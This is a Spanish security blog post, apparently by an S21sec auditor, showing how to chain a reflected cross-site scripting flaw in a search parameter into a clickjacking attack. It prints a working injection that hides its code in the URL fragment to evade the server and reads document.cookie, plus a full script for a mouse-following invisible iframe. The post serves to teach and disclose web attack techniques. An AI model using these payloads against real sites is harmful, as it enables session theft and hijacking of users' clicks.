Español | English
rss facebook linkedin Twitter

Utilizando Cross-site Scripting para ataques de Clickjacking

Existen una gran cantidad de aplicaciones vulnerables a Cross-Site Scripting.

Esta vulnerabilidad casi siempre se ha asociado a la posibilidad de modificar la apariencia de la aplicación y a poco más. Así pues, hoy vamos a ver como utilizar está técnica para realizar un ataque algo más complejo. El objetivo es realizar un ataque de Clickjacking, ya que hasta ahora debíamos crear una página en un dominio de nuestro poder para poder explotar este tipo de vulnerabilidad... pero ya que mediante un XSS podemos inyectar código HTML y JavaScript en otra aplicación, ¿por que no inyectarle el código necesario para realizar un ClickJacking?

El ejemplo a utilizar, es el de un XSS reflejado mediante un parámetro de búsqueda (suele ser el más común):

.
Para empezar, vamos a ver una forma, de hacer que el servidor en el que se va a ejecutar el XSS no reciba las acciones que queremos realizar:
.
hxxp://www.sitio.com/search.php?text=algo"/><script>eval(location.hash.slice(1));</script>#alert(document.cookie)

Así pues, estamos haciendo que mediante "eval(location.hash.slice(1))" evalue y ejecute el código que se encuentra en el anchor (#), de esta manera, como al realizar la petición todo lo que queda a la derecha de # en la url, el navegador no lo envía al servidor.

El siguiente paso, es insertar en el # código referente a como realizar el clickjacking, a continuación se muestra una posible solución (válida tan solo para mozilla firefox):
#a=document.body.appendChild(document.createElement("iframe"));a.d=a.contentDocument;a.d.open().close();i=a.d.createElement("iframe");a.style.width=90;a.style.height=90;a.style.border=i.style.border=0;a.style.position=i.style.position="absolute";a.style.overflow=i.style.overflow="hidden";a.style.opacity=.7;i.style.width=100;i.style.height=100;i.style.left=-10;i.style.top=-10;i.src="hxxp://www.sitio.com/";a.d.body.appendChild(i);function followmouse(e){xcoord=ycoord=40;xcoord+=e.pageX-50;ycoord+=e.pageY-50;a.style.left=xcoord;a.style.top=ycoord;}document.onmousemove=followmouse;

De esta manera se inserta un iframe que va siguiendo al mouse, de forma que cuando se haga un click con él se estará realizando sobre la aplicación insertada en el iframe.

A continuación, se puede observar un video de como se realizan los tres tipos de Cross-site, acabando con el que se convierte en clickjacking hacia Facebook:

http://www.screentoaster.com/watch/stV0xUR0VLQl9ZSVVeW1lc/xss2cj

Referencias:

http://ha.ckers.org/blog/20100614/turning-xss-into-clickjacking/
http://blog.s21sec.com/2009/02/clickjacking-exposed.html

Abel Gómez
Dpto. Auditoria S21SEC

(+34 902 222 521)


24 horas / 7 días a la semana



© Copyright S21sec 2013 - Todos los derechos reservados


login